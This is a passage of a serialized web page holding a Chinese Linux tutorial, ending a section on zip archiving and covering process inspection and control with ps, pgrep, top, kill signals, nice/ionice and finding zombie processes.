'pass'",[331,83820,83788],{"class":365},[331,83822,83791],{"class":365},[331,83824,83825],{"class":1003}," # 加密码：传统 ZipCrypto 很弱，敏感数据别用 zip\n",[331,83827,83828,83831,83833,83835],{"class":333,"line":371},[331,83829,83830],{"class":501},"unzip",[331,83832,43868],{"class":344},[331,83834,83788],{"class":365},[331,83836,83837],{"class":1003},"              # -l 只列内容不解包\n",[331,83839,83840,83842,83844,83846,83848],{"class":333,"line":384},[331,83841,83830],{"class":501},[331,83843,83788],{"class":365},[331,83845,36867],{"class":344},[331,83847,75236],{"class":365},[331,83849,83850],{"class":1003},"     # -d 解压到目录；目录不存在会创建（与 tar -C 相反）\n",[331,83852,83853,83855,83857,83859],{"class":333,"line":397},[331,83854,83830],{"class":501},[331,83856,53195],{"class":344},[331,83858,83788],{"class":365},[331,83860,83861],{"class":1003},"              # -o 全覆盖 \u002F -n 不覆盖——默认会逐个问，脚本里必须指定\n",[331,83863,83864,83867,83869,83871],{"class":333,"line":418},[331,83865,83866],{"class":501},"zipinfo",[331,83868,75542],{"class":344},[331,83870,83788],{"class":365},[331,83872,83873],{"class":1003},"            # 比 unzip -l 灵活：-h 头部、-s 大小列表\n",[331,83875,83876,83878,83881,83884,83887,83890],{"class":333,"line":427},[331,83877,83783],{"class":501},[331,83879,83880],{"class":344}," -FF",[331,83882,83883],{"class":365}," broken.zip",[331,83885,83886],{"class":344}," --out",[331,83888,83889],{"class":365}," fixed.zip",[331,83891,83892],{"class":1003},"   # 传输截断时抢救\n",[11,83894,83895,5160,83897,83899,83900,83903],{},[22,83896,59002],{},[22,83898,83783],{}," 的选择：",[17,83901,83902],{},"Linux 服务器之间用 tar.gz\u002Fxz（保留权限、时间戳、软链接），要给 Windows 或走浏览器下载用 zip","。zip 不保存 Unix 权限位，解压后脚本全部丢执行位。",[53,83905,75156],{"id":83906},"踩坑提醒-8",[1773,83908,83909,83930,83945,83960,83969],{},[1662,83910,83911,83913,83914,83916,83917,83920,83921,83923,83924,17306,83927,83929],{},[22,83912,59002],{}," 忘记 ",[22,83915,48296],{}," 后跟文件名（如 ",[22,83918,83919],{},"tar -czf app","）会把 ",[22,83922,6659],{}," 当成文件，或报 ",[22,83925,83926],{},"Cowardly refusing to create an empty archive",[22,83928,83224],{}," 永远放参数最后。",[1662,83931,83932,83933,83935,83936,272,83938,83940,83941,83944],{},"打包整个 ",[22,83934,655],{}," 会卡在 ",[22,83937,57409],{},[22,83939,59161],{}," 上：加 ",[22,83942,83943],{},"--exclude={\u002Fproc,\u002Fsys,\u002Fdev,\u002Frun}","，或直接用专门的备份工具。",[1662,83946,83947,83948,83950,83951,83953,83954,1677,83957,161],{},"压缩前先看体积：",[22,83949,75573],{},"；对一个正在被写入的日志压缩会得到两份都不完整的文件，先 ",[22,83952,50365],{}," 快照或用 ",[22,83955,83956],{},"logrotate",[22,83958,83959],{},"copytruncate",[1662,83961,83962,5160,83965,83968],{},[22,83963,83964],{},"gzip -9",[22,83966,83967],{},"-6"," 的体积差常在 1–3%，时间差却是几倍，别为了「更小」把部署脚本拖慢。",[1662,83970,83971,83973],{},[22,83972,59013],{}," 想追加文件是不可能的（压缩流不能追加），需要重打包——这是很多人踩过的设计限制。",[48,83975,83977],{"id":83976},"十进程pstopkill","十、进程：ps、top、kill",[11,83979,83980,83981,38556,83983,83985,83986,83988,83989,83991,83992,161],{},"「服务没起来」的第一现场永远是进程列表：它在不在、属主是谁、CPU 吃了多少、状态是 ",[22,83982,75369],{},[22,83984,51915],{},"。这一章把 ",[22,83987,45921],{}," 的每一列、",[22,83990,50045],{}," 的每个数字、信号的优先级讲清楚，然后给出",[17,83993,83994],{},"杀进程的正确顺序",[4748,83996],{"height":4750,"src":83997,"title":83998},"\u002Ftutorials\u002Flinux\u002Fdemos\u002F10-processes.html","示例 10：ps 各列含义、top 读数与 kill 的正确顺序",[53,84000,84002],{"id":84001},"_1-ps-抓一份进程快照","1. ps —— 抓一份进程快照",[11,84004,84005,84007],{},[22,84006,45921],{}," 有两种参数风格，效果接近：",[308,84009,84011],{"className":3902,"code":84010,"language":3904,"meta":314,"style":314},"ps aux     # BSD 风格：USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nps -ef     # POSIX\u002FUNIX 风格：UID PID PPID C STIME TTY TIME CMD，带父进程号\nps -fp 28414                    # 看单个 PID 的详情（含父进程）\nps -u deploy -o pid,cmd         # 只看某个用户起了什么\nps aux --sort=-rss | head       # 按内存排序，找吃内存的大户\nps -eo pid,ppid,user,%cpu,rss,etime,cmd --sort=-%cpu    # 自定义列（最推荐，脚本里稳）\npstree -ap 28414                # 进程树看父子关系（-a 带命令行）\n",[22,84012,84013,84023,84033,84046,84062,84078,84094],{"__ignoreMap":314},[331,84014,84015,84017,84020],{"class":333,"line":334},[331,84016,45921],{"class":501},[331,84018,84019],{"class":365}," aux",[331,84021,84022],{"class":1003},"     # BSD 风格：USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\n",[331,84024,84025,84027,84030],{"class":333,"line":341},[331,84026,45921],{"class":501},[331,84028,84029],{"class":344}," -ef",[331,84031,84032],{"class":1003},"     # POSIX\u002FUNIX 风格：UID PID PPID C STIME TTY TIME CMD，带父进程号\n",[331,84034,84035,84037,84040,84043],{"class":333,"line":357},[331,84036,45921],{"class":501},[331,84038,84039],{"class":344}," -fp",[331,84041,84042],{"class":344}," 28414",[331,84044,84045],{"class":1003},"                    # 看单个 PID 的详情（含父进程）\n",[331,84047,84048,84050,84052,84054,84056,84059],{"class":333,"line":371},[331,84049,45921],{"class":501},[331,84051,37094],{"class":344},[331,84053,59612],{"class":365},[331,84055,53195],{"class":344},[331,84057,84058],{"class":365}," pid,cmd",[331,84060,84061],{"class":1003},"         # 只看某个用户起了什么\n",[331,84063,84064,84066,84068,84071,84073,84075],{"class":333,"line":384},[331,84065,45921],{"class":501},[331,84067,84019],{"class":365},[331,84069,84070],{"class":344}," --sort=-rss",[331,84072,15984],{"class":616},[331,84074,15987],{"class":501},[331,84076,84077],{"class":1003},"       # 按内存排序，找吃内存的大户\n",[331,84079,84080,84082,84085,84088,84091],{"class":333,"line":397},[331,84081,45921],{"class":501},[331,84083,84084],{"class":344}," -eo",[331,84086,84087],{"class":365}," pid,ppid,user,%cpu,rss,etime,cmd",[331,84089,84090],{"class":344}," --sort=-%cpu",[331,84092,84093],{"class":1003},"    # 自定义列（最推荐，脚本里稳）\n",[331,84095,84096,84099,84102,84104],{"class":333,"line":418},[331,84097,84098],{"class":501},"pstree",[331,84100,84101],{"class":344}," -ap",[331,84103,84042],{"class":344},[331,84105,84106],{"class":1003},"                # 进程树看父子关系（-a 带命令行）\n",[11,84108,84109,84112],{},[22,84110,84111],{},"ps aux"," 各列含义：",[57,84114,84115,84127],{},[60,84116,84117],{},[63,84118,84119,84122,84124],{},[66,84120,84121],{},"列",[66,84123,49671],{},[66,84125,84126],{},"读法与坑",[79,84128,84129,84146,84160,84177,84193,84206,84221,84236,84248,84261,84274],{},[63,84130,84131,84135,84138],{},[84,84132,84133],{},[22,84134,46939],{},[84,84136,84137],{},"属主用户",[84,84139,84140,84141,655,84143,84145],{},"服务真实用户常是 ",[22,84142,79413],{},[22,84144,15379],{},"，不是你",[63,84147,84148,84152,84154],{},[84,84149,84150],{},[22,84151,50479],{},[84,84153,45916],{},[84,84155,84156,84157,84159],{},"唯一，",[22,84158,49205],{}," 用它",[63,84161,84162,84167,84174],{},[84,84163,84164],{},[22,84165,84166],{},"%CPU",[84,84168,84169,84170,84173],{},"自进程启动以来的",[17,84171,84172],{},"平均"," CPU 占比",[84,84175,84176],{},"单核满载 = 100；8 核全用可到 800；多核机器上超 100 完全正常",[63,84178,84179,84184,84187],{},[84,84180,84181],{},[22,84182,84183],{},"%MEM",[84,84185,84186],{},"RSS 占物理内存百分比",[84,84188,53522,84189,84192],{},[22,84190,84191],{},"RSS"," 一致，别拿它当「真实占用」",[63,84194,84195,84200,84203],{},[84,84196,84197],{},[22,84198,84199],{},"VSZ",[84,84201,84202],{},"虚拟地址空间大小（KB）",[84,84204,84205],{},"包含未实际分配的、映射的、共享的，JVM\u002F数据库常见几个 G 而 RSS 很小",[63,84207,84208,84212,84215],{},[84,84209,84210],{},[22,84211,84191],{},[84,84213,84214],{},"常驻物理内存（KB）",[84,84216,84217,84220],{},[17,84218,84219],{},"实际占用看这一列","；共享库会被多个进程重复计",[63,84222,84223,84228,84231],{},[84,84224,84225],{},[22,84226,84227],{},"TTY",[84,84229,84230],{},"控制终端",[84,84232,84233,84235],{},[22,84234,1177],{}," 表示无终端（服务\u002F后台进程）",[63,84237,84238,84243,84245],{},[84,84239,84240],{},[22,84241,84242],{},"STAT",[84,84244,11074],{},[84,84246,84247],{},"见下表，排障关键",[63,84249,84250,84255,84258],{},[84,84251,84252],{},[22,84253,84254],{},"START",[84,84256,84257],{},"启动时刻",[84,84259,84260],{},"显示日期表示不是今天起的",[63,84262,84263,84268,84271],{},[84,84264,84265],{},[22,84266,84267],{},"TIME",[84,84269,84270],{},"累计 CPU 时间（不是墙上时间）",[84,84272,84273],{},"跑了三天但 TIME 只有 5 分钟 = 一直在等 IO",[63,84275,84276,84281,84284],{},[84,84277,84278],{},[22,84279,84280],{},"COMMAND",[84,84282,84283],{},"命令行",[84,84285,84286,84288,84289,84291],{},[22,84287,45921],{}," 只显示一次快照，",[22,84290,50045],{}," 会跟着改",[11,84293,84294,84296],{},[22,84295,84242],{}," 常见组合：",[57,84298,84299,84310],{},[60,84300,84301],{},[63,84302,84303,84306,84308],{},[66,84304,84305],{},"码",[66,84307,49671],{},[66,84309,22374],{},[79,84311,84312,84325,84337,84355,84370,84386,84400],{},[63,84313,84314,84319,84322],{},[84,84315,84316],{},[22,84317,84318],{},"R",[84,84320,84321],{},"运行\u002F可运行",[84,84323,84324],{},"在 CPU 上或在队列里",[63,84326,84327,84331,84334],{},[84,84328,84329],{},[22,84330,75369],{},[84,84332,84333],{},"可中断睡眠",[84,84335,84336],{},"绝大多数正常服务的状态",[63,84338,84339,84344,84349],{},[84,84340,84341],{},[22,84342,84343],{},"D",[84,84345,84346],{},[17,84347,84348],{},"不可中断睡眠",[84,84350,84351,84352,84354],{},"通常在等磁盘\u002FNFS；",[22,84353,74454],{}," 对它无效，这是「进程杀不掉」的头号原因",[63,84356,84357,84361,84364],{},[84,84358,84359],{},[22,84360,75387],{},[84,84362,84363],{},"停止",[84,84365,84366,84367,84369],{},"被 ",[22,84368,82989],{}," 或 SIGSTOP 挂起",[63,84371,84372,84376,84379],{},[84,84373,84374],{},[22,84375,51915],{},[84,84377,84378],{},"僵尸（defunct）",[84,84380,84381,84382,84385],{},"已退出但父进程没 ",[22,84383,84384],{},"wait","；无法再被杀，只能让父进程回收",[63,84387,84388,84394,84397],{},[84,84389,84390,1901,84392],{},[22,84391,510],{},[22,84393,77046],{},[84,84395,84396],{},"高优先级 \u002F 低优先级",[84,84398,84399],{},"nice 值的标记",[63,84401,84402,84410,84413],{},[84,84403,84404,1901,84406,1901,84408],{},[22,84405,75304],{},[22,84407,21542],{},[22,84409,12714],{},[84,84411,84412],{},"多线程 \u002F 会话首领 \u002F 前台进程组",[84,84414,84415,84417],{},[22,84416,21542],{}," 常见于服务进程",[53,84419,84421],{"id":84420},"_2-pgrep-与-pidof-找-pid","2. pgrep 与 pidof —— 找 PID",[308,84423,84425],{"className":3902,"code":84424,"language":3904,"meta":314,"style":314},"pgrep -f 'gunicorn.*app'     # -f 按正则匹配整条命令行；不加 -f 只看程序名（15 字符截断）\npgrep -u deploy -f worker    # 叠加用户限定，更精确\npgrep -l -f nginx            # -l 同时打印进程名，快速核对是不是自己要的\npidof nginx                  # 按可执行文件名精确列出所有 PID：28414 28415\npidstat -p 28414 1           # 持续采样某进程的 CPU\u002FIO（sysstat 包），排「这个进程到底在忙什么」\n",[22,84426,84427,84440,84455,84468,84478],{"__ignoreMap":314},[331,84428,84429,84432,84434,84437],{"class":333,"line":334},[331,84430,84431],{"class":501},"pgrep",[331,84433,43839],{"class":344},[331,84435,84436],{"class":365}," 'gunicorn.*app'",[331,84438,84439],{"class":1003},"     # -f 按正则匹配整条命令行；不加 -f 只看程序名（15 字符截断）\n",[331,84441,84442,84444,84446,84448,84450,84452],{"class":333,"line":341},[331,84443,84431],{"class":501},[331,84445,37094],{"class":344},[331,84447,59612],{"class":365},[331,84449,43839],{"class":344},[331,84451,59331],{"class":365},[331,84453,84454],{"class":1003},"    # 叠加用户限定，更精确\n",[331,84456,84457,84459,84461,84463,84465],{"class":333,"line":357},[331,84458,84431],{"class":501},[331,84460,43868],{"class":344},[331,84462,43839],{"class":344},[331,84464,58949],{"class":365},[331,84466,84467],{"class":1003},"            # -l 同时打印进程名，快速核对是不是自己要的\n",[331,84469,84470,84473,84475],{"class":333,"line":371},[331,84471,84472],{"class":501},"pidof",[331,84474,58949],{"class":365},[331,84476,84477],{"class":1003},"                  # 按可执行文件名精确列出所有 PID：28414 28415\n",[331,84479,84480,84483,84485,84487,84489],{"class":333,"line":384},[331,84481,84482],{"class":501},"pidstat",[331,84484,36941],{"class":344},[331,84486,84042],{"class":344},[331,84488,30777],{"class":344},[331,84490,84491],{"class":1003},"           # 持续采样某进程的 CPU\u002FIO（sysstat 包），排「这个进程到底在忙什么」\n",[11,84493,16105,84494,84497,84498,84501,84502,84505,84506,84508],{},[22,84495,84496],{},"pgrep -f"," 时的自杀风险：",[22,84499,84500],{},"pkill -f 'tail -f app.log'"," 可能匹配到执行这条命令的 shell 本身。稳妥写法是加 ",[22,84503,84504],{},"-x","（精确名）或用 ",[22,84507,84431],{}," 先列出确认。",[53,84510,84512],{"id":84511},"_3-top-实时视图","3. top —— 实时视图",[11,84514,84515,84517],{},[22,84516,50045],{}," 的头部五区域与关键读数：",[57,84519,84520,84533],{},[60,84521,84522],{},[63,84523,84524,84527,84530],{},[66,84525,84526],{},"区域",[66,84528,84529],{},"样例",[66,84531,84532],{},"怎么读",[79,84534,84535,84548,84561,84590,84610],{},[63,84536,84537,84540,84545],{},[84,84538,84539],{},"第 1 行",[84,84541,84542],{},[22,84543,84544],{},"top - 09:24:31 up 14 days, 3:12, 2 users, load average: 0.32, 0.41, 0.38",[84,84546,84547],{},"当前时间、运行时长、登录数、1\u002F5\u002F15 分钟平均负载",[63,84549,84550,84553,84558],{},[84,84551,84552],{},"第 2 行",[84,84554,84555],{},[22,84556,84557],{},"Tasks: 183 total, 1 running, 182 sleeping, 0 stopped, 0 zombie",[84,84559,84560],{},"zombie 非 0 说明有父进程不回收",[63,84562,84563,84566,84571],{},[84,84564,84565],{},"第 3 行",[84,84567,84568],{},[22,84569,84570],{},"%Cpu(s): 12.3 us, 3.1 sy, 0.0 ni, 83.9 id, 0.4 wa, 0.0 hi, 0.3 si",[84,84572,84573,84576,84577,84580,84581,84583,84584],{},[22,84574,84575],{},"us"," 用户、",[22,84578,84579],{},"sy"," 内核、",[22,84582,8521],{}," 空闲、",[17,84585,84586,84589],{},[22,84587,84588],{},"wa"," 高等待说明磁盘瓶颈",[63,84591,84592,84595,84603],{},[84,84593,84594],{},"第 4-5 行",[84,84596,84597,1901,84600],{},[22,84598,84599],{},"MiB Mem: 7861.4 total, 214.3 free, 3210.5 used, 4436.6 buff\u002Fcache",[22,84601,84602],{},"MiB Swap: 2048.0 total, 1900.0 free",[84,84604,84605,84606,84609],{},"看可用内存要算 ",[22,84607,84608],{},"free + buff\u002Fcache","（第十七章细讲）",[63,84611,84612,84615,84620],{},[84,84613,84614],{},"进程表",[84,84616,84617],{},[22,84618,84619],{},"PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND",[84,84621,84622,84625,84626,84629,84630,84633,84634],{},[22,84623,84624],{},"VIRT"," 虚拟、",[22,84627,84628],{},"RES"," 常驻、",[22,84631,84632],{},"SHR"," 共享；",[17,84635,84636],{},"真正吃的是 RES",[11,84638,84639],{},[17,84640,84641],{},"示例 1：常用启动方式",[308,84643,84645],{"className":3902,"code":84644,"language":3904,"meta":314,"style":314},"top -p 28414          # 只看某个进程\ntop -u deploy         # 只看某个用户\ntop -b -n 1 > snap.txt  # 批处理模式抓一次快照，脚本必备\n",[22,84646,84647,84658,84669],{"__ignoreMap":314},[331,84648,84649,84651,84653,84655],{"class":333,"line":334},[331,84650,50045],{"class":501},[331,84652,36941],{"class":344},[331,84654,84042],{"class":344},[331,84656,84657],{"class":1003},"          # 只看某个进程\n",[331,84659,84660,84662,84664,84666],{"class":333,"line":341},[331,84661,50045],{"class":501},[331,84663,37094],{"class":344},[331,84665,59612],{"class":365},[331,84667,84668],{"class":1003},"         # 只看某个用户\n",[331,84670,84671,84673,84675,84677,84679,84681,84684],{"class":333,"line":357},[331,84672,50045],{"class":501},[331,84674,76000],{"class":344},[331,84676,75986],{"class":344},[331,84678,30777],{"class":344},[331,84680,56464],{"class":616},[331,84682,84683],{"class":365}," snap.txt",[331,84685,84686],{"class":1003},"  # 批处理模式抓一次快照，脚本必备\n",[11,84688,84689],{},[17,84690,84691],{},"示例 2：交互键（进入 top 之后按）",[57,84693,84694,84706],{},[60,84695,84696],{},[63,84697,84698,84700,84702,84704],{},[66,84699,76969],{},[66,84701,7759],{},[66,84703,76969],{},[66,84705,7759],{},[79,84707,84708,84723,84746,84765,84782,84798,84815],{},[63,84709,84710,84714,84716,84720],{},[84,84711,84712],{},[22,84713,10130],{},[84,84715,77077],{},[84,84717,84718],{},[22,84719,7993],{},[84,84721,84722],{},"展开每个 CPU 核心",[63,84724,84725,84733,84736,84743],{},[84,84726,84727,1901,84730],{},[22,84728,84729],{},"P",[22,84731,84732],{},"M",[84,84734,84735],{},"按 CPU \u002F 内存排序",[84,84737,84738,84740,84741,5149],{},[22,84739,75387],{},"（小写 ",[22,84742,33113],{},[84,84744,84745],{},"切换头部显示",[63,84747,84748,84752,84755,84762],{},[84,84749,84750],{},[22,84751,75307],{},[84,84753,84754],{},"显示完整命令行",[84,84756,84757,1901,84759],{},[22,84758,12374],{},[22,84760,84761],{},"U",[84,84763,84764],{},"只看某用户",[63,84766,84767,84771,84774,84779],{},[84,84768,84769],{},[22,84770,83224],{},[84,84772,84773],{},"选择显示哪些列",[84,84775,84776],{},[22,84777,84778],{},"k",[84,84780,84781],{},"对某 PID 发信号（会二次确认）",[63,84783,84784,84788,84791,84795],{},[84,84785,84786],{},[22,84787,66333],{},[84,84789,84790],{},"renice 某 PID",[84,84792,84793],{},[22,84794,77017],{},[84,84796,84797],{},"切换到某个 cpuset",[63,84799,84800,84805,84808,84812],{},[84,84801,84802],{},[22,84803,84804],{},"H",[84,84806,84807],{},"显示线程",[84,84809,84810],{},[22,84811,76994],{},[84,84813,84814],{},"保存\u002F切换视野组",[63,84816,84817,84820,84823,84829],{},[84,84818,84819],{},"空格",[84,84821,84822],{},"立即刷新",[84,84824,84825,655,84827],{},[22,84826,77708],{},[22,84828,84318],{},[84,84830,84831],{},"改变刷新间隔 \u002F 反向排序",[11,84833,84834,4839,84837,84840,84841,84844,84845,84848,84849,40553,84852,84855,84856,84858,84859,84861,84862,4813],{},[22,84835,84836],{},"htop",[22,84838,84839],{},"apt install htop","）好在：彩色树状视图、鼠标可点、",[22,84842,84843],{},"F4"," 过滤、",[22,84846,84847],{},"F9"," 送信号、",[22,84850,84851],{},"F6",[22,84853,84854],{},"Ctrl-L"," 重绘。",[22,84857,84166],{}," 超 100 的解释：一个 8 线程的进程把 2 个核跑满会显示 200%，多核机器上 ",[22,84860,50045],{}," 的 100% 指的是「一个核」，不是总机器的 1\u002F8；判断是否真忙要看展开后的每核利用率（按 ",[22,84863,7993],{},[53,84865,84867],{"id":84866},"_4-kill-与信号-正确顺序三步别跳","4. kill 与信号 —— 正确顺序（三步，别跳）",[57,84869,84870,84888],{},[60,84871,84872],{},[63,84873,84874,84877,84880,84883,84886],{},[66,84875,84876],{},"信号",[66,84878,84879],{},"编号",[66,84881,84882],{},"默认行为",[66,84884,84885],{},"能不能被捕获",[66,84887,17647],{},[79,84889,84890,84913,84932,84952,84975,84997,85020,85039],{},[63,84891,84892,84897,84899,84905,84907],{},[84,84893,84894],{},[22,84895,84896],{},"HUP",[84,84898,7993],{},[84,84900,84901,84902],{},"挂断 \u002F 让服务",[17,84903,84904],{},"重读配置",[84,84906,78143],{},[84,84908,84909,84912],{},[22,84910,84911],{},"kill -HUP 28414","（老式重载，nginx 仍支持）",[63,84914,84915,84920,84922,84927,84929],{},[84,84916,84917],{},[22,84918,84919],{},"INT",[84,84921,9292],{},[84,84923,84924,84925,5149],{},"中断（等同 ",[22,84926,74548],{},[84,84928,78143],{},[84,84930,84931],{},"交互场景",[63,84933,84934,84939,84941,84947,84949],{},[84,84935,84936],{},[22,84937,84938],{},"QUIT",[84,84940,351],{},[84,84942,84943,84944,5149],{},"退出并 dump core（",[22,84945,84946],{},"Ctrl-\\",[84,84948,78143],{},[84,84950,84951],{},"有些服务用它输出栈",[63,84953,84954,84959,84964,84967,84969],{},[84,84955,84956],{},[22,84957,84958],{},"TERM",[84,84960,84961],{},[17,84962,84963],{},"15",[84,84965,84966],{},"请求终止（默认）",[84,84968,78143],{},[84,84970,84971,84974],{},[22,84972,84973],{},"kill 28414"," 就是它",[63,84976,84977,84982,84987,84990,84994],{},[84,84978,84979],{},[22,84980,84981],{},"KILL",[84,84983,84984],{},[17,84985,84986],{},"9",[84,84988,84989],{},"立刻杀死，内核回收",[84,84991,84992],{},[17,84993,24918],{},[84,84995,84996],{},"最后手段，见下",[63,84998,84999,85004,85007,85010,85014],{},[84,85000,85001],{},[22,85002,85003],{},"STOP",[84,85005,85006],{},"19（x86 Linux）",[84,85008,85009],{},"强制暂停，不可捕获",[84,85011,85012],{},[17,85013,24918],{},[84,85015,85016,85017,79475],{},"冻结进程做调试；停止状态要 ",[22,85018,85019],{},"CONT",[63,85021,85022,85026,85029,85032,85034],{},[84,85023,85024],{},[22,85025,85019],{},[84,85027,85028],{},"18",[84,85030,85031],{},"恢复被 STOP 的进程",[84,85033,5122],{},[84,85035,85036],{},[22,85037,85038],{},"kill -CONT 28414",[63,85040,85041,85049,85052,85055,85057],{},[84,85042,85043,655,85046],{},[22,85044,85045],{},"USR1",[22,85047,85048],{},"USR2",[84,85050,85051],{},"10\u002F12",[84,85053,85054],{},"自定义",[84,85056,78143],{},[84,85058,85059],{},"各服务含义不同（看服务文档）",[308,85061,85063],{"className":3902,"code":85062,"language":3904,"meta":314,"style":314},"kill 28414                  # ① SIGTERM（15）：给程序机会关连接、刷缓冲、清 pid 文件\nsleep 10; ps -p 28414       # ② 等 10 秒确认，没退出再说\nkill -9 28414               # ③ 仍不掉才 SIGKILL：内核硬拆，不做清理\n",[22,85064,85065,85074,85092],{"__ignoreMap":314},[331,85066,85067,85069,85071],{"class":333,"line":334},[331,85068,49205],{"class":344},[331,85070,84042],{"class":344},[331,85072,85073],{"class":1003},"                  # ① SIGTERM（15）：给程序机会关连接、刷缓冲、清 pid 文件\n",[331,85075,85076,85079,85081,85083,85085,85087,85089],{"class":333,"line":341},[331,85077,85078],{"class":501},"sleep",[331,85080,49145],{"class":344},[331,85082,620],{"class":337},[331,85084,45921],{"class":501},[331,85086,36941],{"class":344},[331,85088,84042],{"class":344},[331,85090,85091],{"class":1003},"       # ② 等 10 秒确认，没退出再说\n",[331,85093,85094,85096,85098,85100],{"class":333,"line":357},[331,85095,49205],{"class":344},[331,85097,83664],{"class":344},[331,85099,84042],{"class":344},[331,85101,85102],{"class":1003},"               # ③ 仍不掉才 SIGKILL：内核硬拆，不做清理\n",[11,85104,85105,85107,85108,85111,85112,85114,85115,85117],{},[22,85106,74454],{}," 的代价：不执行信号处理函数 → 临时文件\u002F锁文件\u002Fpid 文件残留、半写的数据库文件、子进程变孤儿、共享内存段没释放。很多「服务重启后卡在启动中」其实是 ",[22,85109,85110],{},"-9"," 留下的锁没清。对 ",[22,85113,84343],{}," 状态进程 ",[22,85116,85110],{}," 也无效——它在等内核 IO，只能等 IO 完成或修好底层（磁盘\u002F网络存储）。",[11,85119,85120],{},[17,85121,85122],{},"其他常用发法",[308,85124,85126],{"className":3902,"code":85125,"language":3904,"meta":314,"style":314},"kill -15 28414              # 显式指定信号，等价 kill 28414\nkill -TERM -28414           # 负号 = 整个进程组，清理派生一堆子进程的任务\nkill %1                     # 按当前 Shell 的作业号\nkill -0 28414               # 不发送，只测进程在不在且有没有权限——脚本里的标准存活检查\nkillall nginx               # 按名字（精确匹配，默认区分大小写）；killall -u deploy vim\npkill -TERM -f 'gunicorn app'   # 按命令行正则，先温和来一遍；确认杀不掉再上 -9\n",[22,85127,85128,85140,85153,85162,85173,85183],{"__ignoreMap":314},[331,85129,85130,85132,85135,85137],{"class":333,"line":334},[331,85131,49205],{"class":344},[331,85133,85134],{"class":344}," -15",[331,85136,84042],{"class":344},[331,85138,85139],{"class":1003},"              # 显式指定信号，等价 kill 28414\n",[331,85141,85142,85144,85147,85150],{"class":333,"line":341},[331,85143,49205],{"class":344},[331,85145,85146],{"class":344}," -TERM",[331,85148,85149],{"class":344}," -28414",[331,85151,85152],{"class":1003},"           # 负号 = 整个进程组，清理派生一堆子进程的任务\n",[331,85154,85155,85157,85159],{"class":333,"line":357},[331,85156,49205],{"class":344},[331,85158,82950],{"class":365},[331,85160,85161],{"class":1003},"                     # 按当前 Shell 的作业号\n",[331,85163,85164,85166,85168,85170],{"class":333,"line":371},[331,85165,49205],{"class":344},[331,85167,80541],{"class":344},[331,85169,84042],{"class":344},[331,85171,85172],{"class":1003},"               # 不发送，只测进程在不在且有没有权限——脚本里的标准存活检查\n",[331,85174,85175,85178,85180],{"class":333,"line":384},[331,85176,85177],{"class":501},"killall",[331,85179,58949],{"class":365},[331,85181,85182],{"class":1003},"               # 按名字（精确匹配，默认区分大小写）；killall -u deploy vim\n",[331,85184,85185,85188,85190,85192,85195],{"class":333,"line":397},[331,85186,85187],{"class":501},"pkill",[331,85189,85146],{"class":344},[331,85191,43839],{"class":344},[331,85193,85194],{"class":365}," 'gunicorn app'",[331,85196,85197],{"class":1003},"   # 按命令行正则，先温和来一遍；确认杀不掉再上 -9\n",[53,85199,85201],{"id":85200},"_5-nicereniceionice-调优先级","5. nice、renice、ionice —— 调优先级",[308,85203,85205],{"className":3902,"code":85204,"language":3904,"meta":314,"style":314},"nice -n 10 .\u002Fbatch.sh           # 以低优先级启动：-20（最高）到 19（最低），0 是默认\nrenice -n 10 -p 28414           # 运行中调优先级；调高需要 root；-u deploy 批量改某用户所有进程\nionice -c 3 -p 28414            # 调 IO 优先级（-c3 空闲级），备份任务必备，cfq\u002Fbfq 调度器下才有效\nchrt --deadline 0 1000000 cmd   # 实时调度类——一般业务别碰，会把机器拖死\n",[22,85206,85207,85222,85238,85254],{"__ignoreMap":314},[331,85208,85209,85212,85214,85216,85219],{"class":333,"line":334},[331,85210,85211],{"class":501},"nice",[331,85213,75986],{"class":344},[331,85215,49145],{"class":344},[331,85217,85218],{"class":365}," .\u002Fbatch.sh",[331,85220,85221],{"class":1003},"           # 以低优先级启动：-20（最高）到 19（最低），0 是默认\n",[331,85223,85224,85227,85229,85231,85233,85235],{"class":333,"line":341},[331,85225,85226],{"class":501},"renice",[331,85228,75986],{"class":344},[331,85230,49145],{"class":344},[331,85232,36941],{"class":344},[331,85234,84042],{"class":344},[331,85236,85237],{"class":1003},"           # 运行中调优先级；调高需要 root；-u deploy 批量改某用户所有进程\n",[331,85239,85240,85243,85245,85247,85249,85251],{"class":333,"line":357},[331,85241,85242],{"class":501},"ionice",[331,85244,15990],{"class":344},[331,85246,59421],{"class":344},[331,85248,36941],{"class":344},[331,85250,84042],{"class":344},[331,85252,85253],{"class":1003},"            # 调 IO 优先级（-c3 空闲级），备份任务必备，cfq\u002Fbfq 调度器下才有效\n",[331,85255,85256,85259,85262,85264,85267,85269],{"class":333,"line":371},[331,85257,85258],{"class":501},"chrt",[331,85260,85261],{"class":344}," --deadline",[331,85263,680],{"class":344},[331,85265,85266],{"class":344}," 1000000",[331,85268,79063],{"class":365},[331,85270,85271],{"class":1003},"   # 实时调度类——一般业务别碰，会把机器拖死\n",[53,85273,85275],{"id":85274},"_6-僵尸与孤儿","6. 僵尸与孤儿",[308,85277,85279],{"className":3902,"code":85278,"language":3904,"meta":314,"style":314},"ps -eo pid,ppid,stat,cmd | awk '$3 ~ \u002FZ\u002F'          # 找僵尸进程（\u003Cdefunct> 的那些）\nps -eo pid,ppid,cmd | awk '$2 == 1'                # 看被 init 收养的孤儿\nvmstat 1 5                                         # 顺带一眼看全局\n",[22,85280,85281,85300,85319],{"__ignoreMap":314},[331,85282,85283,85285,85287,85290,85292,85294,85297],{"class":333,"line":334},[331,85284,45921],{"class":501},[331,85286,84084],{"class":344},[331,85288,85289],{"class":365}," pid,ppid,stat,cmd",[331,85291,15984],{"class":616},[331,85293,82068],{"class":501},[331,85295,85296],{"class":365}," '$3 ~ \u002FZ\u002F'",[331,85298,85299],{"class":1003},"          # 找僵尸进程（\u003Cdefunct> 的那些）\n",[331,85301,85302,85304,85306,85309,85311,85313,85316],{"class":333,"line":341},[331,85303,45921],{"class":501},[331,85305,84084],{"class":344},[331,85307,85308],{"class":365}," pid,ppid,cmd",[331,85310,15984],{"class":616},[331,85312,82068],{"class":501},[331,85314,85315],{"class":365}," '$2 == 1'",[331,85317,85318],{"class":1003},"                # 看被 init 收养的孤儿\n",[331,85320,85321,85324,85326,85328],{"class":333,"line":357},[331,85322,85323],{"class":501},"vmstat",[331,85325,30777],{"class":344},[331,85327,21697],{"class":344},[331,85329,85330],{"class":1003},"                                         # 顺带一眼看全局\n",[11,85332,85333,85334,85337,85338,85340,85341,655,85343,85345],{},"僵尸进程",[17,85335,85336],{},"不占 